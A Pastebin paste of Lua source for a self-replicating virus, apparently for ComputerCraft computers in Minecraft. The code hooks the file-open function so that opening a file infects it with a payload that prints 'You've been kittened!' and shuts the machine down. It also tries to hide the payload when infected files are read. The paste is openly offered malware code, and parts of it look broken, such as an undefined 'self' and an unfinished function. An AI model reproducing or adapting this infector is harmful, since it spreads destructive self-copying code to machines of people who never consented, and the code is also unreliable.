Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --KVTAG
- -- Stickmasterluke alakazard12 -- hehe.
- virus = "--KVTAG\nprint(\"You've been kittened!\")\nsleep(1.5)\nos.shutdown()\n"
- oldOpen = fs.open
- function infect(file)
- file = shell.resolve(file)
- if fs.exists(file) and not fs.isDir(file) then
- pcall(function()
- local rp1 = oldOpen(file, "r")
- local rp2 = oldOpen(file, "w")
- rp2.write(virus.."\n"..rp1.readAll())
- rp1.close()
- rp2.close()
- end)
- end
- end
- function fs.open(file, mode)
- local f = oldOpen(file,"r")
- if (f.readLine() ~= "--KVTAG") then
- infect(file)
- else
- if (mode == "r") then
- f.editedText = string.sub(f.readAll(), #virus+1)
- f.readAll = (function() return self.editedText end)
- f.line = 1
- f.line2 = 1
- f.getLine = (function()
- f.readLine = (function() return string.gsub(f.readAll(),"%w+", self.getLine) end)
- end
- end
- f.close()
- return oldOpen(file, mode)
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement